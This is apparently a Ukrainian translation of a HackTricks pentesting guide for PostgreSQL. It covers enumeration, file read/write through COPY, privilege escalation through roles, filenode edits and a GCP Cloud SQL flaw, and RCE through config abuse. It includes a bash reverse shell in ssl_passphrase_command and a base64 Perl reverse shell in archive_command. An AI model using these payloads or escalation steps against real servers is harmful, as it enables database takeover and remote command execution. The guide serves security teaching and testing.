5432,5433 - Pentesting Postgresql
Last updated
Last updated
Використовуйте Trickest для легкого створення та автоматизації робочих процесів, підтримуваних найсучаснішими інструментами спільноти. Отримайте доступ сьогодні:
PostgreSQL описується як об'єктно-реляційна система управління базами даних, яка є відкритим кодом. Ця система не лише використовує мову SQL, але й покращує її додатковими функціями. Її можливості дозволяють обробляти широкий спектр типів даних та операцій, що робить її універсальним вибором для розробників та організацій.
Порт за замовчуванням: 5432, і якщо цей порт вже використовується, то, здається, postgresql використовуватиме наступний порт (ймовірно, 5433), який не використовується.
Якщо при виконанні \list
ви знайдете базу даних під назвою rdsadmin
, ви знаєте, що ви всередині AWS postgresql database.
Для отримання додаткової інформації про як зловживати PostgreSQL базою даних дивіться:
PostgreSQL injectionЗгідно з цим дослідженням, коли спроба підключення не вдається, dblink
викидає виключення sqlclient_unable_to_establish_sqlconnection
, яке містить пояснення помилки. Приклади цих деталей наведені нижче.
Хост недоступний
ДЕТАЛІ: не вдалося підключитися до сервера: Немає маршруту до хоста. Чи працює сервер на хості "1.2.3.4" і приймає TCP/IP з'єднання на порту 5678?
Порт закритий
Порт відкритий
or
Порт відкритий або фільтрується
У функціях PL/pgSQL наразі неможливо отримати деталі виключень. Однак, якщо у вас є прямий доступ до сервера PostgreSQL, ви можете отримати необхідну інформацію. Якщо витягти імена користувачів та паролі з системних таблиць неможливо, ви можете розглянути можливість використання методу атаки зі словником, обговореного в попередньому розділі, оскільки це може дати позитивні результати.
Типи Ролей | |
---|---|
rolsuper | Роль має привілеї суперкористувача |
rolinherit | Роль автоматично успадковує привілеї ролей, членом яких вона є |
rolcreaterole | Роль може створювати більше ролей |
rolcreatedb | Роль може створювати бази даних |
rolcanlogin | Роль може увійти в систему. Тобто, цю роль можна використовувати як початковий ідентифікатор авторизації сесії |
rolreplication | Роль є роллю реплікації. Роль реплікації може ініціювати з'єднання реплікації та створювати і видаляти слоти реплікації. |
rolconnlimit | Для ролей, які можуть увійти в систему, це встановлює максимальну кількість одночасних з'єднань, які може зробити ця роль. -1 означає без обмежень. |
rolpassword | Не пароль (завжди читається як |
rolvaliduntil | Час закінчення терміну дії пароля (використовується лише для аутентифікації за паролем); null, якщо немає терміну дії |
rolbypassrls | Роль обходить кожну політику безпеки на рівні рядка, див. Розділ 5.8 для отримання додаткової інформації. |
rolconfig | Специфічні для ролі значення за замовчуванням для змінних конфігурації під час виконання |
oid | ID ролі |
Якщо ви є членом pg_execute_server_program
, ви можете виконувати програми
Якщо ви є членом pg_read_server_files
, ви можете читати файли
Якщо ви є членом pg_write_server_files
, ви можете писати файли
Зверніть увагу, що в Postgres користувач, група та роль є одним і тим же. Це залежить від того, як ви це використовуєте і чи дозволяєте їй входити в систему.
З цього коміту члени визначеної DEFAULT_ROLE_READ_SERVER_FILES
групи (названої pg_read_server_files
) та суперкористувачі можуть використовувати метод COPY
на будь-якому шляху (перевірте convert_and_check_filename
у genfile.c
):
Пам'ятайте, що якщо ви не є суперкористувачем, але маєте права CREATEROLE, ви можете додати себе до цього групи:
Існують інші функції postgres, які можна використовувати для читання файлів або переліку директорій. Тільки суперкористувачі та користувачі з явними дозволами можуть їх використовувати:
Ви можете знайти більше функцій в https://www.postgresql.org/docs/current/functions-admin.html
Тільки суперкористувачі та члени pg_write_server_files
можуть використовувати copy для запису файлів.
Пам'ятайте, що якщо ви не є суперкористувачем, але маєте права CREATEROLE
, ви можете додати себе до цієї групи:
Пам'ятайте, що COPY не може обробляти символи нового рядка, тому навіть якщо ви використовуєте корисне навантаження base64, вам потрібно надіслати однорядковий запит.
Дуже важливе обмеження цієї техніки полягає в тому, що copy
не може бути використаний для запису бінарних файлів, оскільки він змінює деякі бінарні значення.
Однак існують інші техніки для завантаження великих бінарних файлів:
Big Binary Files Upload (PostgreSQL)Порада для баг-баунті: зареєструйтесь на Intigriti, преміум платформі для баг-баунті, створеній хакерами для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні та почніть заробляти винагороди до $100,000!
Якщо у вас є необхідні дозволи для читання та запису файлів сервера PostgreSQL, ви можете оновити будь-яку таблицю на сервері, перезаписавши відповідний файл вузла в каталозі даних PostgreSQL. Більше про цю техніку тут.
Необхідні кроки:
Отримайте каталог даних PostgreSQL
Примітка: Якщо ви не можете отримати поточний шлях до каталогу даних з налаштувань, ви можете запитати основну версію PostgreSQL через запит SELECT version()
і спробувати перебрати шлях. Загальні шляхи до каталогу даних на Unix-інсталяціях PostgreSQL: /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
. Загальне ім'я кластера - main
. 2. Отримайте відносний шлях до файлу вузла, пов'язаного з цільовою таблицею
Цей запит повинен повернути щось на зразок base/3/1337
. Повний шлях на диску буде $DATA_DIRECTORY/base/3/1337
, тобто /var/lib/postgresql/13/main/base/3/1337
. 3. Завантажте файл вузла через функції lo_*
Отримайте тип даних, пов'язаний з цільовою таблицею
Використовуйте PostgreSQL Filenode Editor для редагування файлу вузла; встановіть всі булеві прапори rol*
на 1 для повних прав.
6. Повторно завантажте відредагований файл вузла через функції lo_*
і перезапишіть оригінальний файл на диску
(Опціонально) Очистіть кеш таблиці в пам'яті, запустивши витратний SQL-запит
Тепер ви повинні бачити оновлені значення таблиці в PostgreSQL.
Ви також можете стати суперадміністратором, редагуючи таблицю pg_authid
. Дивіться наступний розділ.
Оскільки версія 9.3, тільки суперкористувачі та члени групи pg_execute_server_program
можуть використовувати copy для RCE (приклад з ексфільтрацією:
Приклад для exec:
Пам'ятайте, що якщо ви не є суперкористувачем, але маєте права CREATEROLE
, ви можете додати себе до цієї групи:
Або використовуйте модуль multi/postgres/postgres_copy_from_program_cmd_exec
з metasploit.
Більше інформації про цю вразливість тут. Хоча це було зареєстровано як CVE-2019-9193, Postges оголосив, що це функція і не буде виправлено.
Якщо ви навчилися з попереднього посту як завантажувати бінарні файли, ви можете спробувати отримати RCE, завантажуючи розширення postgresql і завантажуючи його.
RCE with PostgreSQL ExtensionsНаступні вектори RCE особливо корисні в обмежених контекстах SQLi, оскільки всі кроки можуть бути виконані через вкладені оператори SELECT
Конфігураційний файл PostgreSQL є записуваним користувачем postgres, який запускає базу даних, тому як суперкористувач, ви можете записувати файли в файловій системі, а отже, ви можете перезаписати цей файл.
Більше інформації про цю техніку тут.
Конфігураційний файл має кілька цікавих атрибутів, які можуть призвести до RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Шлях до приватного ключа бази даних
ssl_passphrase_command = ''
Якщо приватний файл захищений паролем (шифрований), postgresql виконає команду, вказану в цьому атрибуті.
ssl_passphrase_command_supports_reload = off
Якщо цей атрибут включений, команда, що виконується, якщо ключ захищений паролем, буде виконана під час виконання pg_reload_conf()
.
Отже, зловмиснику потрібно:
Скинути приватний ключ з сервера
Зашифрувати завантажений приватний ключ:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Перезаписати
Скинути поточну конфігурацію postgresql
Перезаписати конфігурацію з вказаними атрибутами:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Виконати pg_reload_conf()
Під час тестування я помітив, що це буде працювати лише якщо файл приватного ключа має привілеї 640, він належить root і групі ssl-cert або postgres (щоб користувач postgres міг його читати), і розміщений у /var/lib/postgresql/12/main.
Більше інформації про цю конфігурацію та про WAL тут.
Ще один атрибут у конфігураційному файлі, який можна експлуатувати, це archive_command
.
Для цього archive_mode
має бути 'on'
або 'always'
. Якщо це правда, то ми можемо перезаписати команду в archive_command
і змусити її виконатися через операції WAL (журнал попереднього запису).
Загальні кроки:
Перевірте, чи увімкнено режим архівування: SELECT current_setting('archive_mode')
Перезапишіть archive_command
з корисним навантаженням. Наприклад, зворотний шелл: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Перезавантажте конфігурацію: SELECT pg_reload_conf()
Примусьте операцію WAL виконатися, що викличе команду архівування: SELECT pg_switch_wal()
або SELECT pg_switch_xlog()
для деяких версій Postgres
Більше інформації про цю техніку тут.
Цей вектор атаки використовує наступні змінні конфігурації:
session_preload_libraries
-- бібліотеки, які будуть завантажені сервером PostgreSQL під час підключення клієнта.
dynamic_library_path
-- список директорій, де сервер PostgreSQL шукатиме бібліотеки.
Ми можемо встановити значення dynamic_library_path
на директорію, записувану користувачем postgres
, що запускає базу даних, наприклад, директорію /tmp/
, і завантажити туди шкідливий об'єкт .so
. Далі ми змусимо сервер PostgreSQL завантажити нашу нову бібліотеку, включивши її в змінну session_preload_libraries
.
Кроки атаки:
Завантажте оригінальний postgresql.conf
Включіть директорію /tmp/
у значення dynamic_library_path
, наприклад, dynamic_library_path = '/tmp:$libdir'
Включіть ім'я шкідливої бібліотеки в значення session_preload_libraries
, наприклад, session_preload_libraries = 'payload.so'
Перевірте основну версію PostgreSQL за допомогою запиту SELECT version()
Скомпілюйте код шкідливої бібліотеки з правильним пакетом розробника PostgreSQL Приклад коду:
Компілірування коду:
Завантажте шкідливий postgresql.conf
, створений на етапах 2-3, і перезапишіть оригінальний
Завантажте payload.so
з етапу 5 у директорію /tmp
Перезавантажте конфігурацію сервера, перезапустивши сервер або викликавши запит SELECT pg_reload_conf()
При наступному підключенні до БД ви отримаєте зворотне з'єднання шеллу.
Згідно з документацією: Ролі, що мають привілей CREATEROLE
, можуть надавати або відкликати членство в будь-якій ролі, яка не є суперкористувачем.
Отже, якщо у вас є дозвіл CREATEROLE
, ви можете надати собі доступ до інших ролей (які не є суперкористувачами), що можуть дати вам можливість читати та записувати файли та виконувати команди:
Користувачі з цією роллю також можуть змінювати паролі інших не-суперкористувачів:
Досить поширено, що локальні користувачі можуть входити в PostgreSQL без надання будь-якого пароля. Тому, як тільки ви отримали дозволи на виконання коду, ви можете зловживати цими дозволами, щоб надати собі роль SUPERUSER
:
Це зазвичай можливо через наступні рядки у файлі pg_hba.conf
:
У цьому звіті пояснюється, як було можливим privesc у Postgres GCP, зловживаючи привілеєм ALTER TABLE, який був наданий користувачу.
Коли ви намагаєтеся зробити іншого користувача власником таблиці, ви повинні отримати помилку, яка цьому заважає, але, очевидно, GCP надала цю опцію не-суперкористувачу postgres в GCP:
Поєднуючи цю ідею з тим фактом, що коли команди INSERT/UPDATE/ANALYZE виконуються на таблиці з функцією індексу, функція викликається як частина команди з дозволами власника таблиці. Можливо створити індекс з функцією та надати дозволи власника суперкористувачу над цією таблицею, а потім виконати ANALYZE над таблицею з шкідливою функцією, яка зможе виконувати команди, оскільки використовує привілеї власника.
Почніть з створення нової таблиці.
Вставте деякий нерелевантний контент у таблицю, щоб надати дані для функції індексації.
Розробіть шкідливу функцію індексації, яка містить код виконання, що дозволяє виконувати несанкціоновані команди.
Змініть власника таблиці на "cloudsqladmin", що є роллю суперкористувача GCP, яка використовується виключно Cloud SQL для управління та обслуговування бази даних.
Виконайте операцію ANALYZE на таблиці. Ця дія змушує движок PostgreSQL перейти в контекст користувача власника таблиці, "cloudsqladmin". Внаслідок цього шкідлива функція індексації викликається з правами "cloudsqladmin", що дозволяє виконання раніше несанкціонованої команди оболонки.
In PostgreSQL, this flow looks something like this:
Тоді таблиця shell_commands_results
міститиме вихідні дані виконаного коду:
Деякі неправильно налаштовані екземпляри postgresql можуть дозволяти вхід будь-якого локального користувача, можливо локально з 127.0.0.1, використовуючи dblink
function:
Зверніть увагу, що для роботи попереднього запиту функція dblink
повинна існувати. Якщо її немає, ви можете спробувати створити її за допомогою
Якщо у вас є пароль користувача з більшими привілеями, але цьому користувачу не дозволено входити з зовнішньої IP-адреси, ви можете використовувати наступну функцію для виконання запитів від імені цього користувача:
Можна перевірити, чи існує ця функція за допомогою:
У цьому звіті пентестери змогли підвищити привілеї всередині екземпляра postgres, наданого IBM, тому що вони знайшли цю функцію з прапором SECURITY DEFINER:
Як пояснено в документації, функція з SECURITY DEFINER виконується з привілеями користувача, який її володіє. Тому, якщо функція вразлива до SQL Injection або виконує деякі привілейовані дії з параметрами, контрольованими атакуючим, її можна зловживати для ескалації привілеїв всередині postgres.
У рядку 4 попереднього коду ви можете побачити, що функція має прапор SECURITY DEFINER.
And then виконати команди:
PL/pgSQL - це повнофункціональна мова програмування, яка пропонує більший процедурний контроль у порівнянні з SQL. Вона дозволяє використовувати цикли та інші структури управління для покращення логіки програми. Крім того, SQL-інструкції та тригери мають можливість викликати функції, створені за допомогою мови PL/pgSQL. Ця інтеграція дозволяє більш комплексний і універсальний підхід до програмування бази даних та автоматизації. Ви можете зловживати цією мовою, щоб попросити PostgreSQL брутфорсити облікові дані користувачів.
PL/pgSQL Password BruteforceНаступний вектор привілеїв особливо корисний у обмежених контекстах SQLi, оскільки всі кроки можна виконати через вкладені SELECT-інструкції
Якщо ви можете читати та писати файли сервера PostgreSQL, ви можете стати суперкористувачем, перезаписавши файловий вузол PostgreSQL на диску, пов'язаний з внутрішньою таблицею pg_authid
.
Дізнайтеся більше про цю техніку тут.
Кроки атаки:
Отримати каталог даних PostgreSQL
Отримати відносний шлях до файлового вузла, пов'язаного з таблицею pg_authid
Завантажити файловий вузол через функції lo_*
Отримати тип даних, пов'язаний з таблицею pg_authid
Використати Редактор Файлових Вузлів PostgreSQL, щоб редагувати файловий вузол; встановити всі булеві прапори rol*
на 1 для повних прав.
Повторно завантажити відредагований файловий вузол через функції lo_*
і перезаписати оригінальний файл на диску
(Опційно) Очистити кеш таблиці в пам'яті, запустивши витратний SQL-запит
Тепер ви повинні мати привілеї повного супер адміністратора.
Всередині файлу postgresql.conf ви можете увімкнути журнали postgresql, змінивши:
Тоді, перезапустіть сервіс.
pgadmin - це платформа для адміністрування та розробки для PostgreSQL. Ви можете знайти паролі всередині файлу pgadmin4.db Ви можете розшифрувати їх, використовуючи функцію decrypt всередині скрипта: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
Аутентифікація клієнтів у PostgreSQL керується через конфігураційний файл під назвою pg_hba.conf. Цей файл містить серію записів, кожен з яких вказує тип з'єднання, діапазон IP-адрес клієнтів (якщо застосовно), назву бази даних, ім'я користувача та метод аутентифікації, який слід використовувати для відповідності з'єднанням. Перший запис, який відповідає типу з'єднання, адресі клієнта, запитуваній базі даних та імені користувача, використовується для аутентифікації. Немає резервного варіанту, якщо аутентифікація не вдалася. Якщо жоден запис не відповідає, доступ заборонено.
Доступні методи аутентифікації на основі паролів у pg_hba.conf - це md5, crypt та password. Ці методи відрізняються тим, як передається пароль: MD5-хешований, crypt-зашифрований або у відкритому тексті. Важливо зазначити, що метод crypt не може бути використаний з паролями, які були зашифровані в pg_authid.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)